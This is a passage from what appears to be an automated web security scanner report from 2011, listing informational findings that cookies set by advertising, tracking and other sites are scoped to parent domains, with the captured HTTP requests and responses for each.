GET /b/wc_beacon.pli?n=BMX_G&d=0&v=method-%3E-1,ts-%3E1296999600.136,wait-%3E10000,&1296999637491 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://redacted/MRT/iview/264255445/direct;wi.300;hi.250/01/1354764918?click=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ%26num%3D1%26sig%3DAGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA%26client%3Dca-pub-7786708287155161%26adurl%3D
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_p85001580=exp=43&initExp=Wed Jan 26 20:14:29 2011&recExp=Sat Feb 5 15:06:35 2011&prad=58087444&arc=40401508&; ar_p68511049=exp=6&initExp=Mon Jan 31 16:31:23 2011&recExp=Sun Feb 6 13:40:00 2011&prad=264255445&arc=185637072&; BMX_G=method->-1,ts->1296999600; BMX_3PC=1; UID=1d29d89e-72.246.30.75-1294456810

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Feb 2011 13:40:00 GMT
Content-Type: image/gif
Connection: close
Vary: Accept-Encoding
Set-Cookie: BMX_G=method%2D%3E%2D1%2Cts%2D%3E1296999600%2E136%2Cwait%2D%3E10000%2C; path=/; domain=.voicefive.com;
Content-length: 42
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent

GIF89a.............!.......,........@..D.;

14.56. http://ar.voicefive.com/bmx3/broker.pli previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

ar_p68511049=exp=6&initExp=Mon Jan 31 16:31:23 2011&recExp=Sun Feb 6 13:40:00 2011&prad=264255445&arc=185637072&; expires=Sat 07-May-2011 13:40:00 GMT; path=/; domain=.voicefive.com;
BMX_G=method->-1,ts->1296999600; path=/; domain=.voicefive.com;

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Feb 2011 13:40:00 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p68511049=exp=6&initExp=Mon Jan 31 16:31:23 2011&recExp=Sun Feb 6 13:40:00 2011&prad=264255445&arc=185637072&; expires=Sat 07-May-2011 13:40:00 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1296999600; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 25198

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"264255445",Pid:"p68511049",Arc:"185637072",Location:
...[SNIP]...

14.57. https://axptravel.americanexpress.com/consumertravel/travel.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://axptravel.americanexpress.com
Path:	/consumertravel/travel.do

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=10.10.14.1-1296942630588713; Path=/; expires=Tue, 09-Feb-16 21:50:30 GMT; domain=.americanexpress.com, troute=w511; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/;domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /consumertravel/travel.do HTTP/1.1
Host: axptravel.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.58. http://b.scorecardresearch.com/b previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/b

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

UID=1f00d615-24.143.206.88-1294170954; expires=Mon, 04-Feb-2013 21:47:55 GMT; path=/; domain=.scorecardresearch.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /b?c1=8&c2=6000002&c3=90000&c4=&c5=&c6=&c15=&cv=1.3&cj=1&rn=20110205214753 HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/nslookup-software.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=1f00d615-24.143.206.88-1294170954

Response

HTTP/1.1 204 No Content
Content-Length: 0
Date: Sat, 05 Feb 2011 21:47:55 GMT
Connection: close
Set-Cookie: UID=1f00d615-24.143.206.88-1294170954; expires=Mon, 04-Feb-2013 21:47:55 GMT; path=/; domain=.scorecardresearch.com
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC"
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Pragma: no-cache
Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate
Server: CS

14.59. http://b.scorecardresearch.com/p previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/p

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

UID=1f00d615-24.143.206.88-1294170954; expires=Mon, 04-Feb-2013 22:44:03 GMT; path=/; domain=.scorecardresearch.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /p HTTP/1.1
Host: b.scorecardresearch.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: UID=1f00d615-24.143.206.88-1294170954;

Response

HTTP/1.1 200 OK
Content-Length: 43
Content-Type: image/gif
Date: Sat, 05 Feb 2011 22:44:03 GMT
Connection: close
Set-Cookie: UID=1f00d615-24.143.206.88-1294170954; expires=Mon, 04-Feb-2013 22:44:03 GMT; path=/; domain=.scorecardresearch.com
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC"
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Pragma: no-cache
Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate
Server: CS

GIF89a.............!.......,...........D..;

14.60. http://b.voicefive.com/b previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://b.voicefive.com
Path:	/b

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

UID=1d29d89e-72.246.30.75-1294456810; expires=Tue, 05-Feb-2013 13:40:00 GMT; path=/; domain=.voicefive.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /b?c1=4&c2=p68511049&c3=264255445&c4=185637072&c5=1&c6=6&c7=mon%20jan%2031%2016%3A31%3A23%202011&c8=http%3A%2F%2Fredacted%2FMRT%2Fiview%2F264255445%2Fdirect%3Bwi.300%3Bhi.250%2F01%2F1354764918%3Fclick%3Dhttp%3A%2F%2Fadclick.g.doubleclick.net%2Faclk%253Fsa%253DL%2526ai%253DBcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ%2526num%253D1%2526sig%253DAGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA%2526client%253Dca-pub-7786708287155161%2526adurl%253D&c9=DYN_Launch_Adoption_300x250_v2&c10=&c15=&1296999637359 HTTP/1.1
Host: b.voicefive.com
Proxy-Connection: keep-alive
Referer: http://redacted/MRT/iview/264255445/direct;wi.300;hi.250/01/1354764918?click=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ%26num%3D1%26sig%3DAGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA%26client%3Dca-pub-7786708287155161%26adurl%3D
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_p85001580=exp=43&initExp=Wed Jan 26 20:14:29 2011&recExp=Sat Feb 5 15:06:35 2011&prad=58087444&arc=40401508&; UID=1d29d89e-72.246.30.75-1294456810; ar_p68511049=exp=6&initExp=Mon Jan 31 16:31:23 2011&recExp=Sun Feb 6 13:40:00 2011&prad=264255445&arc=185637072&; BMX_G=method->-1,ts->1296999600; BMX_3PC=1

Response

HTTP/1.1 204 No Content
Content-Length: 0
Date: Sun, 06 Feb 2011 13:40:00 GMT
Connection: close
Set-Cookie: UID=1d29d89e-72.246.30.75-1294456810; expires=Tue, 05-Feb-2013 13:40:00 GMT; path=/; domain=.voicefive.com
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC"
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Pragma: no-cache
Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate
Server: CS

14.61. http://baselinemag.us.intellitxt.com/al.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://baselinemag.us.intellitxt.com
Path:	/al.asp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wcAAAEt+yNLhQA-; Domain=.intellitxt.com; Expires=Thu, 07-Apr-2011 13:22:40 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /al.asp?ts=20110206132315&adid=401622%2C401622%2C401622&cc=us&di=29166142%2C28321520%2C28321702&hk=1&ipid=12630&mh=167defd4b82c3759d8e6179eb5de4354&pid=2%2C2%2C2&pvm=b60133d74d36fa666d2419a757f62f74&pvu=F09FDD7F3F444C1FA642829D016326B5&rcc=us&so=0&syid=0%2C0%2C0&uf=0%2C0%2C0&ur=0%2C0%2C0&kp=328%2C930%3B336%2C984%3B245%2C1284%3B&prf=ll%3A1385%7Cintl%3A1992%7Cpreprochrome%3A6%7Cgetconchrome%3A27%7Cadvint%3A2035%7Cadvl%3A2035%7Ctl%3A2151&jscallback=$iTXT.js.callback1 HTTP/1.1
Host: baselinemag.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAwAAArrAQAAAAMAAAEt98vDoAAAAS332v9sAAABLffbZhUAAArYAQAAAAIAAAEt99r/bAAAAS3322YVAAAK6gEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAKywEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAK6QEAAAACAAABLffa/2wAAAEt99tmFQAACugBAAAAAQAAAS33y8OgAAAPpgEAAAACAAABLffa/2wAAAEt99tmFQAACs0BAAAAAQAAAS33y8OgAAAKzAEAAAABAAABLffLw6AAAArSAQAAAAEAAAEt98vDoAAABBUBAAAAAQAAAS2qBrSKAAAK1QEAAAABAAABLffLw6AAAAAAnwCngQ--"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wcAAAEt+yNLhQA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wcAAAEt+yNLhQA-; Domain=.intellitxt.com; Expires=Thu, 07-Apr-2011 13:22:40 GMT; Path=/
Content-Type: text/javascript
Content-Length: 38
Date: Sun, 06 Feb 2011 13:22:40 GMT

try{$iTXT.js.callback1();}catch(e){}

14.62. http://baselinemag.us.intellitxt.com/intellitxt/front.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://baselinemag.us.intellitxt.com
Path:	/intellitxt/front.asp

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wUAAAEt+yJbEgA-; Domain=.intellitxt.com; Expires=Thu, 07-Apr-2011 13:21:28 GMT; Path=/
VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wUAAAEt+yJbEgA-; Domain=.intellitxt.com; Expires=Thu, 07-Apr-2011 13:21:28 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /intellitxt/front.asp?ipid=12630 HTTP/1.1
Host: baselinemag.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAwAAArrAQAAAAMAAAEt98vDoAAAAS332v9sAAABLffbZhUAAArYAQAAAAIAAAEt99r/bAAAAS3322YVAAAK6gEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAKywEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAK6QEAAAACAAABLffa/2wAAAEt99tmFQAACugBAAAAAQAAAS33y8OgAAAPpgEAAAACAAABLffa/2wAAAEt99tmFQAACs0BAAAAAQAAAS33y8OgAAAKzAEAAAABAAABLffLw6AAAArSAQAAAAEAAAEt98vDoAAABBUBAAAAAQAAAS2qBrSKAAAK1QEAAAABAAABLffLw6AAAAAAnwCngQ--"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gQAAAEt99ts1wA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wUAAAEt+yJbEgA-; Domain=.intellitxt.com; Expires=Thu, 07-Apr-2011 13:21:28 GMT; Path=/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wUAAAEt+yJbEgA-; Domain=.intellitxt.com; Expires=Thu, 07-Apr-2011 13:21:28 GMT; Path=/
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Sun, 06 Feb 2011 13:21:27 GMT
Content-Length: 10685

document.itxtDisabled=1;
document.itxtDebugOn=false;
if(document.itxtDisabled){
document.itxtInProg=1;
if ('undefined'== typeof $iTXT){$iTXT={};};if (!$iTXT.cnst){$iTXT.cnst={};} if (!$iTXT.debug){$iT
...[SNIP]...

14.63. http://blogs.splunk.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://blogs.splunk.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

Apache=173.193.214.243.1296942657575208; path=/; expires=Sun, 01-Feb-26 21:50:57 GMT; domain=.splunk.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: blogs.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:50:57 GMT
Server: Apache/2.2.3 (CentOS)
Vary: User-Agent,Host
Set-Cookie: Apache=173.193.214.243.1296942657575208; path=/; expires=Sun, 01-Feb-26 21:50:57 GMT; domain=.splunk.com
Last-Modified: Sat, 05 Feb 2011 21:23:49 GMT
ETag: "2428484-d97d-9d540340"
Accept-Ranges: bytes
Content-Length: 55677
Cache-Control: max-age=300, must-revalidate
Expires: Sat, 05 Feb 2011 21:55:57 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/el
...[SNIP]...

14.64. http://bookmarks.yahoo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bookmarks.yahoo.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

B=09agn1l6krkph&b=3&s=ud; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.yahoo.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: bookmarks.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:46:09 GMT
Set-Cookie: B=09agn1l6krkph&b=3&s=ud; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.yahoo.com
P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
Location: https://login.yahoo.com/config/login?.src=bmk2&.intl=us&.done=http%3A%2F%2Fbookmarks.yahoo.com%2F
Set-Cookie: BM=s=LDVsdFYCatO4ydCGoEx.tvU_iJRm7U79Rm8ZBWzQWig9Jua.4WPHLMYOfETs9WsebSGQKwKvJhaD2Ss827uiYbPTNOu8IEabjNdTarxICXCpI.pIctl0_oBjRh.gfwu_g5Hd0M4JdVsM2h0OBeqR&u=ki2BuH0CatOne_jM4iqfgUJ6xVkQN9m96VK.qXug1XT2CnidwyTN_4VV3w--; path=/; domain=.bookmarks.yahoo.com
Cache-Control: private
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 270

<html><head><meta http-equiv="refresh" content="0;url=https://login.yahoo.com/config/login?.src=bmk2&.intl=us&.done=http%3A%2F%2Fbookmarks.yahoo.com%2F"/></head></html><!-- fe2.bookmarks.searc
...[SNIP]...

14.65. http://bs.serving-sys.com/BurstingPipe/BannerRedirect.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/BannerRedirect.asp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

u2=1f5940fe-c0d1-459f-8c91-e4475c881fca3Gz01g; expires=Sat, 07-May-2011 11:00:06 GMT; domain=.serving-sys.com; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /BurstingPipe/BannerRedirect.asp HTTP/1.1
Host: bs.serving-sys.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: eyeblaster=BWVal=2657&BWDate=40580.359340&debuglevel=&FLV=10.1103&RES=128&WMPV=0; B3=7lgH0000000001sG89PS000000000QsZ89PT000000000.sZ8mb20000000001t48i440000000001t28bwx0000000001t482790000000002t5852G0000000003sS8qav0000000001t57dNH0000000002sZ84ZE0000000001t67GHq0000000001s.7FCH0000000001s.84ZF0000000002t683xP0000000001sF8cVQ0000000001sV82980000000001t3852N0000000001s.84U10000000001t687ma0000000001s.6o.Q0000000001sY7gi30000000001sG8i430000000001t2852z0000000001sS852A0000000001sS; A3=f+JvabEk02WG00002h5iUabNz07l00000Qh5j3abNz07l00000.gLnTaeKR09sO00001gYyfadw90cvM00001gn3Ka4JO09MY00001gNfHaaiN0aVX00001fU+La50V0a+r00001gL2MadKj0bdR00001gYRSaeKR09sO00001gFjwaeKR09sO00001gKXMaepH0bdR00001h802ae7k0c6L00001fUFGa50V02WG00001gYx+adw90cvM00001gKXNaepP0bdR00001gy3.ach00c9M00001gHrHaeKS09sO00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gy5Da9bU0c9M00001gCTVa9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001ge4Hack+0bM000001gNQ4ae7r0c9M00001; u2=1f5940fe-c0d1-459f-8c91-e4475c881fca3Gz010; C4=; ActivityInfo=000p81bCx%5f; u3=1;

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Length: 0
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Set-Cookie: eyeblaster=BWVal=2657&BWDate=40580.359340&debuglevel=&FLV=10.1103&RES=128&WMPV=0; expires=Sat, 07-May-2011 11:00:06 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: u2=1f5940fe-c0d1-459f-8c91-e4475c881fca3Gz01g; expires=Sat, 07-May-2011 11:00:06 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 06 Feb 2011 16:00:06 GMT
Connection: close

14.66. http://bs.serving-sys.com/BurstingPipe/BannerSource.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/BannerSource.asp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

u2=1f5940fe-c0d1-459f-8c91-e4475c881fca3Gz01g; expires=Sat, 07-May-2011 11:00:06 GMT; domain=.serving-sys.com; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /BurstingPipe/BannerSource.asp HTTP/1.1
Host: bs.serving-sys.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: eyeblaster=BWVal=2657&BWDate=40580.359340&debuglevel=&FLV=10.1103&RES=128&WMPV=0; B3=7lgH0000000001sG89PS000000000QsZ89PT000000000.sZ8mb20000000001t48i440000000001t28bwx0000000001t482790000000002t5852G0000000003sS8qav0000000001t57dNH0000000002sZ84ZE0000000001t67GHq0000000001s.7FCH0000000001s.84ZF0000000002t683xP0000000001sF8cVQ0000000001sV82980000000001t3852N0000000001s.84U10000000001t687ma0000000001s.6o.Q0000000001sY7gi30000000001sG8i430000000001t2852z0000000001sS852A0000000001sS; A3=f+JvabEk02WG00002h5iUabNz07l00000Qh5j3abNz07l00000.gLnTaeKR09sO00001gYyfadw90cvM00001gn3Ka4JO09MY00001gNfHaaiN0aVX00001fU+La50V0a+r00001gL2MadKj0bdR00001gYRSaeKR09sO00001gFjwaeKR09sO00001gKXMaepH0bdR00001h802ae7k0c6L00001fUFGa50V02WG00001gYx+adw90cvM00001gKXNaepP0bdR00001gy3.ach00c9M00001gHrHaeKS09sO00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gy5Da9bU0c9M00001gCTVa9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001ge4Hack+0bM000001gNQ4ae7r0c9M00001; u2=1f5940fe-c0d1-459f-8c91-e4475c881fca3Gz010; C4=; ActivityInfo=000p81bCx%5f; u3=1;

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Length: 0
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Set-Cookie: eyeblaster=BWVal=2657&BWDate=40580.359340&debuglevel=&FLV=10.1103&RES=128&WMPV=0; expires=Sat, 07-May-2011 11:00:06 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: u2=1f5940fe-c0d1-459f-8c91-e4475c881fca3Gz01g; expires=Sat, 07-May-2011 11:00:06 GMT; domain=.serving-sys.com; path=/
Set-Cookie: C_=BlankImage
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 06 Feb 2011 16:00:06 GMT
Connection: close

14.67. http://bs.serving-sys.com/BurstingPipe/adServer.bs previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

A3=gLnTaeKR09sO00001h5j3abNz07l00000.h5iUabNz07l00000Qf+JvabEk02WG00002gNfHaaiN0aVX00001gn3Ka4JO09MY00001gYyfadw90cvM00001gL2MadKj0bdR00001fU+La50V0a+r00001h802ae7k0c6L00001gKXMaepH0bdR00001gKXNaepP0bdR00001gYx+adw90cvM00001fUFGa50V02WG00001gy3.ach00c9M00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gCTVa9bU0c9M00001gy5Da9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001gNQ4ae7r0c9M00001ge4Hack+0bM000001; expires=Sat, 07-May-2011 08:21:31 GMT; domain=.serving-sys.com; path=/
B3=89PS000000000QsZ7lgH0000000001sG89PT000000000.sZ8bwx0000000001t48i440000000001t28mb20000000001t4852G0000000003sS82790000000002t57dNH0000000002sZ8qav0000000001t57GHq0000000001s.7FCH0000000001s.8cVQ0000000001sV83xP0000000001sF82980000000001t384U10000000001t6852N0000000001s.6o.Q0000000001sY87ma0000000001s.8i430000000001t27gi30000000001sG852z0000000001sS852A0000000001sS; expires=Sat, 07-May-2011 08:21:31 GMT; domain=.serving-sys.com; path=/
u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g; expires=Sat, 07-May-2011 08:21:31 GMT; domain=.serving-sys.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

